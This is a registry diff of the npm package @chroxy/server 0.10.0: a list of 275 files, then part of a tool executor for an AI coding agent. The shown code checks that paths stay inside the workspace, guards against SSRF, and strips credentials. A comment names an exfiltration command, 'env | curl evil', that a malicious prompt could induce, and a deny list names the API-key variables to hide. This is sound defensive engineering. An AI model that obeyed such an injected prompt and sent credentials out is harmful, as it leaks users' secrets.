@chroxy/server 0.10.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (275) hide show
  1. package/CONFIG.md +695 -0
  2. package/README.md +105 -0
  3. package/hooks/permission-hook.sh +285 -0
  4. package/package.json +69 -0
  5. package/scripts/fix-node-pty-helper.js +44 -0
  6. package/sidecar/Dockerfile +40 -0
  7. package/sidecar/PROTOCOL.md +691 -0
  8. package/sidecar/agent.js +1290 -0
  9. package/sidecar/package-lock.json +43 -0
  10. package/sidecar/package.json +17 -0
  11. package/src/activity-registry.js +491 -0
  12. package/src/anthropic-compatible-config.js +534 -0
  13. package/src/anthropic-compatible-session.js +579 -0
  14. package/src/anthropic-openai-shim.js +109 -0
  15. package/src/anthropic-openai-translate.js +377 -0
  16. package/src/auth-probes.js +296 -0
  17. package/src/background-shell-tracker.js +320 -0
  18. package/src/background-shells.js +125 -0
  19. package/src/base-session.js +1518 -0
  20. package/src/billing-budget.js +191 -0
  21. package/src/billing-canary-monitor.js +203 -0
  22. package/src/billing-class.js +149 -0
  23. package/src/bind-host.js +82 -0
  24. package/src/built-in-tools/bash-exec.js +167 -0
  25. package/src/built-in-tools/file-ops.js +198 -0
  26. package/src/built-in-tools/tool-transforms.js +179 -0
  27. package/src/builtin-commands.js +107 -0
  28. package/src/byok-compose-state-shared.js +31 -0
  29. package/src/byok-compose-state.js +234 -0
  30. package/src/byok-credentials.js +127 -0
  31. package/src/byok-event-translator.js +136 -0
  32. package/src/byok-mcp-client.js +404 -0
  33. package/src/byok-mcp-config.js +159 -0
  34. package/src/byok-mcp-fleet.js +214 -0
  35. package/src/byok-mcp-trust.js +175 -0
  36. package/src/byok-session.js +2019 -0
  37. package/src/byok-subagent-profiles.js +101 -0
  38. package/src/byok-tool-executor.js +813 -0
  39. package/src/byok-tools.js +271 -0
  40. package/src/channels/PACKAGING.md +181 -0
  41. package/src/channels/README.md +99 -0
  42. package/src/channels/chroxy-channel-server.js +248 -0
  43. package/src/checkpoint-manager.js +515 -0
  44. package/src/child-stream-guard.js +38 -0
  45. package/src/claude-channel-session.js +185 -0
  46. package/src/claude-model-catalog.js +266 -0
  47. package/src/claude-stream-parser.js +106 -0
  48. package/src/claude-tui/form-driver.js +874 -0
  49. package/src/claude-tui/pty-driver.js +520 -0
  50. package/src/claude-tui/tested-cli-version.js +22 -0
  51. package/src/claude-tui-attachments.js +342 -0
  52. package/src/claude-tui-session.js +4029 -0
  53. package/src/cli/config-cmd.js +34 -0
  54. package/src/cli/credentials-cmd.js +59 -0
  55. package/src/cli/deploy-cmd.js +167 -0
  56. package/src/cli/doctor-cmd.js +52 -0
  57. package/src/cli/identity-cmd.js +82 -0
  58. package/src/cli/init-cmd.js +209 -0
  59. package/src/cli/pages-cmd.js +167 -0
  60. package/src/cli/pair-code-cmd.js +108 -0
  61. package/src/cli/pair-discord-cmd.js +100 -0
  62. package/src/cli/providers-cmd.js +168 -0
  63. package/src/cli/server-cmd.js +94 -0
  64. package/src/cli/service-cmd.js +237 -0
  65. package/src/cli/session-cmd.js +143 -0
  66. package/src/cli/shared.js +194 -0
  67. package/src/cli/shell-cmd.js +130 -0
  68. package/src/cli/status-cmd.js +204 -0
  69. package/src/cli/tunnel-cmd.js +101 -0
  70. package/src/cli/update-cmd.js +45 -0
  71. package/src/cli/worktree-gc-cmd.js +195 -0
  72. package/src/cli-session.js +1820 -0
  73. package/src/cli.js +60 -0
  74. package/src/codex-app-server-client.js +156 -0
  75. package/src/codex-app-server-session.js +572 -0
  76. package/src/codex-session.js +604 -0
  77. package/src/config.js +1757 -0
  78. package/src/connection-info.js +42 -0
  79. package/src/connection-locality.js +55 -0
  80. package/src/content-blocks.js +42 -0
  81. package/src/control-room/byok-pool.js +130 -0
  82. package/src/control-room/constants.js +26 -0
  83. package/src/control-room/containers.js +258 -0
  84. package/src/control-room/emulators.js +279 -0
  85. package/src/control-room/handler-factory.js +142 -0
  86. package/src/control-room/host-prune.js +387 -0
  87. package/src/control-room/integrations.js +929 -0
  88. package/src/control-room/repo-runtime-config.js +239 -0
  89. package/src/control-room/repo-set.js +162 -0
  90. package/src/control-room/runners.js +479 -0
  91. package/src/control-room/simulators.js +223 -0
  92. package/src/control-room/skills-inventory.js +303 -0
  93. package/src/control-room/survey.js +685 -0
  94. package/src/control-room/wsl.js +182 -0
  95. package/src/conversation-scanner.js +270 -0
  96. package/src/conversation-scope.js +52 -0
  97. package/src/conversation-search.js +216 -0
  98. package/src/cost-budget-manager.js +190 -0
  99. package/src/credential-cipher.js +179 -0
  100. package/src/credential-store.js +786 -0
  101. package/src/credential-test.js +145 -0
  102. package/src/credentials-file.js +58 -0
  103. package/src/dashboard-next/dist/assets/index-C2ipeGlq.js +111 -0
  104. package/src/dashboard-next/dist/assets/index-DM-_dISG.css +1 -0
  105. package/src/dashboard-next/dist/index.html +13 -0
  106. package/src/deepseek-credentials.js +58 -0
  107. package/src/deepseek-session.js +192 -0
  108. package/src/detect-thinking-keyword.js +67 -0
  109. package/src/dev-preview.js +227 -0
  110. package/src/devcontainer-config.js +269 -0
  111. package/src/device-preferences.js +267 -0
  112. package/src/diagnostics.js +187 -0
  113. package/src/diff-parser.js +157 -0
  114. package/src/discord-credentials.js +188 -0
  115. package/src/discord-pair-delivery.js +113 -0
  116. package/src/docker-byok-pool-stats.js +221 -0
  117. package/src/docker-byok-pool.js +841 -0
  118. package/src/docker-byok-session.js +2172 -0
  119. package/src/docker-image-allowlist.js +99 -0
  120. package/src/docker-sdk-session.js +396 -0
  121. package/src/docker-session.js +382 -0
  122. package/src/doctor-billing.js +179 -0
  123. package/src/doctor.js +667 -0
  124. package/src/duration.js +77 -0
  125. package/src/environment-manager.js +753 -0
  126. package/src/environment-statuses.js +20 -0
  127. package/src/environments/backends/docker.js +931 -0
  128. package/src/environments/backends/k8s.js +3030 -0
  129. package/src/environments/backends/rancher.js +326 -0
  130. package/src/environments/backends/types.js +332 -0
  131. package/src/event-ingest.js +546 -0
  132. package/src/event-normalizer.js +1083 -0
  133. package/src/external-session-registry.js +0 -0
  134. package/src/file-store.js +52 -0
  135. package/src/gemini-session.js +498 -0
  136. package/src/get-public-ip.js +52 -0
  137. package/src/git.js +15 -0
  138. package/src/github-webhook.js +256 -0
  139. package/src/handler-utils.js +663 -0
  140. package/src/handlers/checkpoint-handlers.js +202 -0
  141. package/src/handlers/control-room-handlers.js +1945 -0
  142. package/src/handlers/conversation-handlers.js +201 -0
  143. package/src/handlers/credential-handlers.js +247 -0
  144. package/src/handlers/evaluator-handlers.js +94 -0
  145. package/src/handlers/feature-handlers.js +332 -0
  146. package/src/handlers/file-handlers.js +142 -0
  147. package/src/handlers/ide-handlers.js +238 -0
  148. package/src/handlers/input-handlers.js +1048 -0
  149. package/src/handlers/pairing-handlers.js +94 -0
  150. package/src/handlers/repo-handlers.js +295 -0
  151. package/src/handlers/session-handlers.js +660 -0
  152. package/src/handlers/settings-handlers.js +818 -0
  153. package/src/handlers/skills-handlers.js +682 -0
  154. package/src/handlers/summarize-handlers.js +172 -0
  155. package/src/handlers/token-handlers.js +57 -0
  156. package/src/http-oversize.js +51 -0
  157. package/src/http-routes.js +1158 -0
  158. package/src/ide/search.js +268 -0
  159. package/src/ide/symbols.js +423 -0
  160. package/src/ip-utils.js +85 -0
  161. package/src/json-state-file.js +169 -0
  162. package/src/jsonl-reader.js +187 -0
  163. package/src/jsonl-subprocess-session.js +441 -0
  164. package/src/keychain.js +458 -0
  165. package/src/lan-ip.js +38 -0
  166. package/src/logger.js +388 -0
  167. package/src/mailbox-route.js +252 -0
  168. package/src/mcp-tools.js +46 -0
  169. package/src/message-transform.js +102 -0
  170. package/src/metrics.js +67 -0
  171. package/src/model-discovery.js +288 -0
  172. package/src/models.js +1426 -0
  173. package/src/notification-prefs.js +544 -0
  174. package/src/notifications/discord-billing-sink.js +323 -0
  175. package/src/notifications/discord-webhook-client.js +187 -0
  176. package/src/notifications/discord-webhook-sink.js +768 -0
  177. package/src/notifications/expo-push-sink.js +414 -0
  178. package/src/notifications/ready-body.js +177 -0
  179. package/src/notifications/sink-registry.js +98 -0
  180. package/src/notifications/sink.js +82 -0
  181. package/src/ollama-session.js +221 -0
  182. package/src/ollama-tags.js +238 -0
  183. package/src/openai-compatible-session.js +118 -0
  184. package/src/pages-store.js +255 -0
  185. package/src/pairing.js +836 -0
  186. package/src/path-hash-trust-ledger.js +311 -0
  187. package/src/per-session-settings.js +366 -0
  188. package/src/permission-audit.js +120 -0
  189. package/src/permission-hook.js +257 -0
  190. package/src/permission-manager.js +829 -0
  191. package/src/permission-resolver.js +144 -0
  192. package/src/platform.js +139 -0
  193. package/src/prompt-evaluator.js +386 -0
  194. package/src/providers.js +436 -0
  195. package/src/push.js +565 -0
  196. package/src/rate-limiter.js +433 -0
  197. package/src/redaction.js +206 -0
  198. package/src/sdk-session.js +1773 -0
  199. package/src/semver.js +92 -0
  200. package/src/server-cli/push-notification-handler.js +240 -0
  201. package/src/server-cli/server-orchestrator.js +168 -0
  202. package/src/server-cli/startup-display.js +146 -0
  203. package/src/server-cli/tunnel-lifecycle-handler.js +219 -0
  204. package/src/server-cli-child.js +207 -0
  205. package/src/server-cli.js +1223 -0
  206. package/src/server-identity.js +383 -0
  207. package/src/service.js +835 -0
  208. package/src/session-context.js +49 -0
  209. package/src/session-lock.js +60 -0
  210. package/src/session-manager.js +3257 -0
  211. package/src/session-message-history.js +511 -0
  212. package/src/session-preset-trust.js +78 -0
  213. package/src/session-preset.js +458 -0
  214. package/src/session-state-persistence.js +307 -0
  215. package/src/session-timeout-manager.js +166 -0
  216. package/src/session-token-store.js +83 -0
  217. package/src/shell-approval-info.js +45 -0
  218. package/src/shell-approval-store.js +163 -0
  219. package/src/shell-audit.js +63 -0
  220. package/src/skills-budget.js +181 -0
  221. package/src/skills-content-validator.js +106 -0
  222. package/src/skills-frontmatter.js +422 -0
  223. package/src/skills-loader.js +1893 -0
  224. package/src/skills-manager.js +256 -0
  225. package/src/skills-trust.js +532 -0
  226. package/src/skills-usage.js +335 -0
  227. package/src/snapshots-store.js +345 -0
  228. package/src/ssrf-guard.js +130 -0
  229. package/src/subagent-counter.js +149 -0
  230. package/src/summarize-session.js +268 -0
  231. package/src/supervisor.js +929 -0
  232. package/src/test-client.js +131 -0
  233. package/src/token-compare.js +28 -0
  234. package/src/token-manager.js +220 -0
  235. package/src/tool-result.js +87 -0
  236. package/src/transcript-tasks.js +334 -0
  237. package/src/tunnel/base.js +294 -0
  238. package/src/tunnel/cloudflare.js +281 -0
  239. package/src/tunnel/index.js +54 -0
  240. package/src/tunnel-check.js +84 -0
  241. package/src/turn-tracker.js +0 -0
  242. package/src/user-shell-registry.js +218 -0
  243. package/src/user-shell-session.js +411 -0
  244. package/src/utils/check-dependencies.js +70 -0
  245. package/src/utils/concurrency.js +24 -0
  246. package/src/utils/context-window-learn.js +148 -0
  247. package/src/utils/error-message.js +25 -0
  248. package/src/utils/format-bytes.js +35 -0
  249. package/src/utils/preflight.js +143 -0
  250. package/src/utils/resolve-binary.js +91 -0
  251. package/src/utils/respawn-rate-limiter.js +59 -0
  252. package/src/utils/sleep.js +58 -0
  253. package/src/utils/spawn-env.js +193 -0
  254. package/src/utils/validation-patterns.js +23 -0
  255. package/src/utils/win-spawn.js +98 -0
  256. package/src/version-check.js +16 -0
  257. package/src/web-task-manager.js +383 -0
  258. package/src/worktree-gc.js +418 -0
  259. package/src/worktree-reaper.js +168 -0
  260. package/src/ws-auth.js +645 -0
  261. package/src/ws-broadcaster.js +385 -0
  262. package/src/ws-client-manager.js +476 -0
  263. package/src/ws-client-sender.js +115 -0
  264. package/src/ws-file-ops/browser.js +594 -0
  265. package/src/ws-file-ops/common.js +163 -0
  266. package/src/ws-file-ops/git.js +298 -0
  267. package/src/ws-file-ops/index.js +52 -0
  268. package/src/ws-file-ops/reader.js +595 -0
  269. package/src/ws-forwarding.js +543 -0
  270. package/src/ws-handler-context.js +196 -0
  271. package/src/ws-history.js +1251 -0
  272. package/src/ws-message-handlers.js +165 -0
  273. package/src/ws-permissions.js +676 -0
  274. package/src/ws-schemas.js +119 -0
  275. package/src/ws-server.js +2866 -0
@@ -0,0 +1,813 @@
1
+ /**
2
+ * Dispatch a tool_use block from the model to the local executor that
3
+ * implements it. Owns the result shape: returns `{ content, isError }`
4
+ * matching what gets put inside a `tool_result` content block sent
5
+ * back to the API on the next turn.
6
+ *
7
+ * All tools are gated through the caller's permission flow before this
8
+ * runs — by the time we get here, the user has approved the call (or
9
+ * the session is in `auto` mode which auto-approves). We don't do
10
+ * permission gating in here; this module is execution only.
11
+ *
12
+ * Path safety is enforced for file tools by validatePathWithinCwd from
13
+ * ws-file-ops/common.js — every file_path is realpath-ed and confirmed
14
+ * to be inside the session cwd before any read/write happens. Symlink
15
+ * escapes are blocked by the realpath-of-deepest-ancestor pattern there
16
+ * (see common.js + the 2026-04-11 production-readiness audit).
17
+ */
18
+
19
+ import { resolve, isAbsolute } from 'node:path'
20
+ import { isIP } from 'node:net'
21
+ import { lookup as dnsLookup } from 'node:dns/promises'
22
+ import { validatePathWithinCwd } from './ws-file-ops/common.js'
23
+ import { executeBash, DEFAULT_BASH_TIMEOUT_MS } from './built-in-tools/bash-exec.js'
24
+ import { readFileTool, writeFileTool, editFileTool } from './built-in-tools/file-ops.js'
25
+ import {
26
+ GLOB_PATTERN_SHELL_METACHARS,
27
+ buildGlobCommand,
28
+ buildGrepArgs,
29
+ buildGrepCommand,
30
+ } from './built-in-tools/tool-transforms.js'
31
+ import { TODO_STATUSES, BUILTIN_TOOL_NAMES } from './byok-tools.js'
32
+ // #4186: SSRF block-list lives in its own module so the (ip, expected)
33
+ // table can grow without bloating this file's WebFetch integration tests.
34
+ // The exported helpers retain the same names as the original locals so
35
+ // the call sites below read identically.
36
+ import { isPrivateOrSpecialIp } from './ssrf-guard.js'
37
+
38
+ /**
39
+ * Cap on Bash timeout the model can request. 10 minutes is the same
40
+ * ceiling chroxy's Bash tool uses elsewhere — long enough for a slow
41
+ * test suite, short enough to not strand a session if a runaway loop
42
+ * hangs.
43
+ */
44
+ const BASH_TIMEOUT_CEILING_MS = 600_000
45
+
46
+ /**
47
+ * Env vars the model must NEVER see in a Bash subprocess. Centrally
48
+ * the BYOK API key — if a malicious prompt induces the model to run
49
+ * `env | curl evil`, the model exfiltrates the user's API credentials
50
+ * (caught by /agent-review on PR #4060 — see #4069). Plus chroxy's
51
+ * own per-session secrets that are scoped to the WS auth surface.
52
+ *
53
+ * Note: we do NOT redact every var that looks like a secret (e.g.
54
+ * GITHUB_TOKEN, AWS_*). The user might legitimately need those in
55
+ * their shell — they're the workspace owner. Only redact chroxy-
56
+ * specific credentials the model has no business reading.
57
+ */
58
+ const SECRET_ENV_DENYLIST = new Set([
59
+ 'ANTHROPIC_API_KEY',
60
+ 'CLAUDE_CODE_OAUTH_TOKEN',
61
+ ])
62
+
63
+ /**
64
+ * Build an env for the Bash/Glob/Grep subprocess that strips chroxy's
65
+ * own secrets. Returns a plain object — pass to executeBash's `env`.
66
+ */
67
+ function buildSafeBashEnv() {
68
+ const out = {}
69
+ for (const [k, v] of Object.entries(process.env)) {
70
+ if (SECRET_ENV_DENYLIST.has(k)) continue
71
+ out[k] = v
72
+ }
73
+ return out
74
+ }
75
+
76
+ /**
77
+ * Dispatch a single tool_use block.
78
+ *
79
+ * @param {object} args
80
+ * @param {string} args.toolName The tool name from the model
81
+ * @param {object} args.input The tool's input arguments (already parsed JSON)
82
+ * @param {string} args.cwd Session cwd — anchor for path safety
83
+ * @param {Map} args.cwdRealCache Per-session cache of resolved real paths
84
+ * @param {number} args.cwdCacheTtl Cache TTL in ms
85
+ * @param {AbortSignal} [args.signal] Optional abort signal — Bash exec listens
86
+ * @param {Map} [args.todoStore] Per-session TodoWrite list (id → item)
87
+ * @returns {Promise<{ content: string, isError: boolean }>}
88
+ */
89
+ export async function executeBuiltinTool({
90
+ toolName,
91
+ input,
92
+ cwd,
93
+ cwdRealCache,
94
+ cwdCacheTtl,
95
+ signal,
96
+ todoStore,
97
+ }) {
98
+ try {
99
+ switch (toolName) {
100
+ case 'Read':
101
+ return await runRead({ input, cwd, cwdRealCache, cwdCacheTtl })
102
+ case 'Write':
103
+ return await runWrite({ input, cwd, cwdRealCache, cwdCacheTtl })
104
+ case 'Edit':
105
+ return await runEdit({ input, cwd, cwdRealCache, cwdCacheTtl })
106
+ case 'Bash':
107
+ return await runBash({ input, cwd, signal })
108
+ case 'Glob':
109
+ return await runGlob({ input, cwd, cwdRealCache, cwdCacheTtl, signal })
110
+ case 'Grep':
111
+ return await runGrep({ input, cwd, cwdRealCache, cwdCacheTtl, signal })
112
+ case 'WebFetch':
113
+ return await runWebFetch({ input, signal })
114
+ case 'TodoWrite':
115
+ return runTodoWrite({ input, todoStore })
116
+ default: {
117
+ // Derive the list from BUILTIN_TOOL_NAMES so adding a tool only
118
+ // requires updating byok-tools.js — this message can't drift.
119
+ const known = [...BUILTIN_TOOL_NAMES].sort().join(', ')
120
+ return {
121
+ content: `Unknown tool: ${toolName}. The claude-byok provider ships with: ${known}. MCP and other tools land in follow-up issues.`,
122
+ isError: true,
123
+ }
124
+ }
125
+ }
126
+ } catch (err) {
127
+ // Anything that escapes the per-tool runner becomes an error
128
+ // tool_result so the model can see what went wrong and possibly
129
+ // recover. The error message is sanitized — no stack traces, just
130
+ // the error message line.
131
+ return {
132
+ content: `Tool ${toolName} failed: ${err?.message || String(err)}`,
133
+ isError: true,
134
+ }
135
+ }
136
+ }
137
+
138
+ /** Resolve a tool-supplied path against cwd, then validate it's inside. */
139
+ async function safeResolve(filePath, cwd, cwdRealCache, cwdCacheTtl) {
140
+ if (typeof filePath !== 'string' || filePath.length === 0) {
141
+ throw Object.assign(new Error('file_path is required'), { code: 'EINVAL' })
142
+ }
143
+ const absolute = isAbsolute(filePath) ? filePath : resolve(cwd, filePath)
144
+ const { valid, realPath, cwdReal } = await validatePathWithinCwd(
145
+ absolute,
146
+ cwd,
147
+ cwdRealCache,
148
+ cwdCacheTtl,
149
+ )
150
+ if (!valid) {
151
+ throw Object.assign(
152
+ new Error(`path outside workspace: ${filePath} resolves to ${realPath}, expected under ${cwdReal}`),
153
+ { code: 'EACCES' },
154
+ )
155
+ }
156
+ return realPath
157
+ }
158
+
159
+ async function runRead({ input, cwd, cwdRealCache, cwdCacheTtl }) {
160
+ const realPath = await safeResolve(input?.file_path, cwd, cwdRealCache, cwdCacheTtl)
161
+ const result = await readFileTool({
162
+ filePath: realPath,
163
+ offset: input?.offset,
164
+ limit: input?.limit,
165
+ })
166
+ if (!result.ok) return { content: `${result.code}: ${result.message}`, isError: true }
167
+ const tail = result.truncatedByLimit
168
+ ? `\n\n[showed ${result.linesReturned} of ${result.totalLines} lines]`
169
+ : ''
170
+ return { content: result.content + tail, isError: false }
171
+ }
172
+
173
+ async function runWrite({ input, cwd, cwdRealCache, cwdCacheTtl }) {
174
+ const realPath = await safeResolve(input?.file_path, cwd, cwdRealCache, cwdCacheTtl)
175
+ const result = await writeFileTool({
176
+ filePath: realPath,
177
+ content: input?.content,
178
+ })
179
+ if (!result.ok) return { content: `${result.code}: ${result.message}`, isError: true }
180
+ return {
181
+ content: `Wrote ${result.bytesWritten} bytes to ${input.file_path}${result.created ? ' (created)' : ''}.`,
182
+ isError: false,
183
+ }
184
+ }
185
+
186
+ async function runEdit({ input, cwd, cwdRealCache, cwdCacheTtl }) {
187
+ const realPath = await safeResolve(input?.file_path, cwd, cwdRealCache, cwdCacheTtl)
188
+ const result = await editFileTool({
189
+ filePath: realPath,
190
+ oldString: input?.old_string,
191
+ newString: input?.new_string,
192
+ replaceAll: input?.replace_all === true,
193
+ })
194
+ if (!result.ok) return { content: `${result.code}: ${result.message}`, isError: true }
195
+ return {
196
+ content: `Replaced ${result.replacements} occurrence(s) in ${input.file_path}.`,
197
+ isError: false,
198
+ }
199
+ }
200
+
201
+ async function runBash({ input, cwd, signal }) {
202
+ const command = input?.command
203
+ if (typeof command !== 'string' || command.length === 0) {
204
+ return { content: 'EINVAL: command is required', isError: true }
205
+ }
206
+ const requested = Number(input?.timeout)
207
+ const timeoutMs = Number.isFinite(requested) && requested > 0
208
+ ? Math.min(requested, BASH_TIMEOUT_CEILING_MS)
209
+ : DEFAULT_BASH_TIMEOUT_MS
210
+
211
+ const result = await executeBash({
212
+ command,
213
+ cwd,
214
+ timeoutMs,
215
+ signal,
216
+ env: buildSafeBashEnv(),
217
+ })
218
+
219
+ // Build a single text payload — stdout, then stderr (if any), then a
220
+ // status line. The model is the consumer here, so we err on the side
221
+ // of being verbose about timing and exit state.
222
+ const parts = []
223
+ if (result.stdout) parts.push(`stdout:\n${result.stdout}`)
224
+ if (result.stderr) parts.push(`stderr:\n${result.stderr}`)
225
+ const statusBits = []
226
+ if (result.timedOut) statusBits.push(`timed out after ${timeoutMs}ms`)
227
+ if (result.aborted) statusBits.push('aborted')
228
+ if (result.truncated) statusBits.push('output truncated at cap')
229
+ statusBits.push(`exit=${result.exitCode ?? 'killed'}`)
230
+ if (result.signal) statusBits.push(`signal=${result.signal}`)
231
+ statusBits.push(`${result.durationMs}ms`)
232
+ parts.push(`[${statusBits.join(', ')}]`)
233
+
234
+ return {
235
+ content: parts.join('\n\n'),
236
+ isError: result.exitCode !== 0 || result.timedOut || result.aborted,
237
+ }
238
+ }
239
+
240
+ // Characters in a glob pattern that allow shell-side command substitution
241
+ // or piping (GLOB_PATTERN_SHELL_METACHARS + the command builders live in the
242
+ // shared tool-transforms.js, so the host and the docker-byok container reject
243
+ // and shell out identically — #4070 / #5882).
244
+
245
+ async function runGlob({ input, cwd, cwdRealCache, cwdCacheTtl, signal }) {
246
+ const pattern = input?.pattern
247
+ if (typeof pattern !== 'string' || pattern.length === 0) {
248
+ return { content: 'EINVAL: pattern is required', isError: true }
249
+ }
250
+ if (GLOB_PATTERN_SHELL_METACHARS.test(pattern)) {
251
+ return {
252
+ content: 'EINVAL: glob pattern contains shell-dangerous characters ($, `, ;, |, &, <, >, (, ), \\, newline)',
253
+ isError: true,
254
+ }
255
+ }
256
+
257
+ // Realpath-validate the search ROOT against cwd. Pre-fix this was a
258
+ // weak "no ..." check that let absolute paths to /etc through.
259
+ const realRoot = await safeResolveRoot(input?.path, cwd, cwdRealCache, cwdCacheTtl)
260
+
261
+ // Shell expansion of `for f in <pattern>` is what produces the file
262
+ // paths. Pattern is now whitelist-validated above, so interpolation
263
+ // is safe.
264
+ const cmd = buildGlobCommand(pattern, realRoot)
265
+ const result = await executeBash({
266
+ command: cmd,
267
+ cwd: realRoot,
268
+ signal,
269
+ timeoutMs: 30_000,
270
+ env: buildSafeBashEnv(),
271
+ })
272
+ if (result.exitCode !== 0 && !result.stdout) {
273
+ return { content: `Glob failed: ${result.stderr || `exit ${result.exitCode}`}`, isError: true }
274
+ }
275
+ const files = result.stdout.split('\n').filter(Boolean)
276
+ if (files.length === 0) return { content: `No matches for ${pattern}`, isError: false }
277
+ return { content: files.join('\n'), isError: false }
278
+ }
279
+
280
+ async function runGrep({ input, cwd, cwdRealCache, cwdCacheTtl, signal }) {
281
+ const pattern = input?.pattern
282
+ if (typeof pattern !== 'string' || pattern.length === 0) {
283
+ return { content: 'EINVAL: pattern is required', isError: true }
284
+ }
285
+ const realRoot = await safeResolveRoot(input?.path, cwd, cwdRealCache, cwdCacheTtl)
286
+
287
+ // Prefer ripgrep; fall back to grep. Both honor -i and -n. The if/then/else
288
+ // (NOT `rg || grep`) keeps a no-match rg exit-1 from re-running the search
289
+ // under grep (Copilot review on #4060). executeBash captures the exit code
290
+ // (doesn't reject), so no `; true` mask is needed here. Builders are shared
291
+ // with the docker-byok container Grep (#5882).
292
+ const { ci, ln, globArg } = buildGrepArgs(input)
293
+ const cmd = buildGrepCommand({ pattern, root: realRoot, ci, ln, globArg })
294
+
295
+ const result = await executeBash({
296
+ command: cmd,
297
+ cwd: realRoot,
298
+ signal,
299
+ timeoutMs: 60_000,
300
+ env: buildSafeBashEnv(),
301
+ })
302
+ // grep/rg both return exit 1 on "no matches" — that's not an error
303
+ // for our purposes. Only exit 2+ or stderr-without-stdout signals an
304
+ // actual failure.
305
+ if (result.stderr && !result.stdout && result.exitCode !== 1) {
306
+ return { content: `Grep failed: ${result.stderr.trim()}`, isError: true }
307
+ }
308
+ if (!result.stdout) return { content: `No matches for ${pattern}`, isError: false }
309
+ return { content: result.stdout, isError: false }
310
+ }
311
+
312
+ /**
313
+ * Validate that an optional `path` argument (for Glob/Grep search roots)
314
+ * is inside the workspace cwd. Defaults to cwd when unset/empty. Returns
315
+ * the realpath so the caller can pass it to bash safely (the spawned
316
+ * shell uses the realpath, not the original symlinked alias).
317
+ *
318
+ * SECURITY: an earlier draft of this function only rejected literal `..`
319
+ * sequences, which let `Glob { path: '/etc' }` and `Grep { path: '/etc' }`
320
+ * search the entire filesystem and return /etc/passwd etc. Caught by
321
+ * `/agent-review` on PR #4060 — see #4071. Now realpath-validates the
322
+ * path through the same machinery the Read/Write/Edit tools use.
323
+ */
324
+ async function safeResolveRoot(p, cwd, cwdRealCache, cwdCacheTtl) {
325
+ if (typeof p !== 'string' || p.length === 0) return cwd
326
+ const absolute = isAbsolute(p) ? p : resolve(cwd, p)
327
+ const { valid, realPath, cwdReal } = await validatePathWithinCwd(
328
+ absolute,
329
+ cwd,
330
+ cwdRealCache,
331
+ cwdCacheTtl,
332
+ )
333
+ if (!valid) {
334
+ throw Object.assign(
335
+ new Error(`path outside workspace: ${p} resolves to ${realPath}, expected under ${cwdReal}`),
336
+ { code: 'EACCES' },
337
+ )
338
+ }
339
+ return realPath
340
+ }
341
+
342
+ const WEBFETCH_DEFAULT_TIMEOUT_MS = 30_000
343
+ const WEBFETCH_TIMEOUT_CEILING_MS = 120_000
344
+ const WEBFETCH_MAX_RAW_BYTES = 1_048_576 // 1 MB cap on body read from socket
345
+ const WEBFETCH_MAX_OUTPUT_CHARS = 100_000 // 100 KB cap on text returned to model
346
+ // #4132: undici's default redirect cap is 20. Ours is tighter so the
347
+ // model can't burn its turn on a redirect-loop honeypot — and we
348
+ // re-validate scheme + host on every hop, so the loop is also a
349
+ // per-hop SSRF gate, not just a count.
350
+ const WEBFETCH_MAX_REDIRECT_HOPS = 10
351
+
352
+ async function isHostAllowed(hostname) {
353
+ if (process.env.CHROXY_WEBFETCH_ALLOW_PRIVATE === '1') return true
354
+ if (typeof hostname !== 'string' || hostname.length === 0) return false
355
+ // URL.hostname returns IPv6 literals WITH square brackets ('[::1]'),
356
+ // and node:net isIP doesn't accept brackets. Strip them before the
357
+ // isIP probe so legitimate public IPv6 URLs aren't all rejected as
358
+ // unresolvable hostnames. (Caught by /agent-review on #4165 — #4166.)
359
+ const probe = hostname.startsWith('[') && hostname.endsWith(']')
360
+ ? hostname.slice(1, -1)
361
+ : hostname
362
+ if (isIP(probe)) return !isPrivateOrSpecialIp(probe)
363
+ try {
364
+ // Resolve ALL addresses (both families). A multi-A host that returns
365
+ // a public IP plus a private IP would otherwise slip past with the
366
+ // single-address default — `fetch` may then pick the private one.
367
+ // Refuse if ANY resolved address is private/special. (Copilot review
368
+ // on #4165.)
369
+ const addresses = await dnsLookup(probe, { all: true })
370
+ if (!Array.isArray(addresses) || addresses.length === 0) return false
371
+ for (const { address } of addresses) {
372
+ if (isPrivateOrSpecialIp(address)) return false
373
+ }
374
+ return true
375
+ } catch {
376
+ // Unresolvable host — refuse rather than letting fetch try.
377
+ return false
378
+ }
379
+ }
380
+
381
+ async function runWebFetch({ input, signal }) {
382
+ const rawUrl = input?.url
383
+ if (typeof rawUrl !== 'string' || rawUrl.length === 0) {
384
+ return { content: 'EINVAL: url is required', isError: true }
385
+ }
386
+ const rawPrompt = input?.prompt
387
+ if (typeof rawPrompt !== 'string' || rawPrompt.length === 0) {
388
+ return { content: 'EINVAL: prompt is required', isError: true }
389
+ }
390
+ let parsed
391
+ try {
392
+ parsed = new URL(rawUrl)
393
+ } catch {
394
+ // #4159: do NOT echo rawUrl here — a URL that fails to parse can
395
+ // still contain userinfo (e.g. `http://alice:hunter2@` fails the
396
+ // host check) and any echo lands in conversation history.
397
+ return { content: 'EINVAL: malformed url (could not be parsed as http(s))', isError: true }
398
+ }
399
+ if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
400
+ return {
401
+ content: `EINVAL: only http(s) URLs are supported (got ${parsed.protocol})`,
402
+ isError: true,
403
+ }
404
+ }
405
+ // #4133: strip user:pass@ userinfo before either echoing the URL back
406
+ // to the model OR passing it to fetch(). Two reasons:
407
+ // 1. The model's tool_result lands in conversation history and gets
408
+ // resent to the Anthropic API on the next turn — userinfo in the
409
+ // URL is a credential exfiltration path.
410
+ // 2. Node fetch refuses URLs containing credentials outright with
411
+ // an error that itself echoes the credentialed URL, so even the
412
+ // failure path leaks. Stripping here turns the fetch into an
413
+ // unauthenticated request — the server may 401 / 403, which is
414
+ // surfaced cleanly without exposing the creds.
415
+ // #4160: remember whether userinfo was present so the result header
416
+ // can surface a `[userinfo stripped from ...]` marker — a silent strip
417
+ // turns a downstream 401 into a mysterious failure that the model can't
418
+ // diagnose. The marker is the design trade-off worth flagging.
419
+ //
420
+ // #4183: track input-URL strip and redirect-hop strip as SEPARATE flags
421
+ // so the marker can say exactly where the credentials came from. The
422
+ // pre-#4183 single `hadUserinfo` flag produced a marker adjacent to
423
+ // `currentUrl` (which may be a redirect destination), so a reader
424
+ // could plausibly think the marker referred to the displayed URL
425
+ // even when the strip happened on the input or on an earlier hop.
426
+ // Distinguishing the two sources keeps the marker honest in the
427
+ // redirect-chain case without changing where it sits in the result.
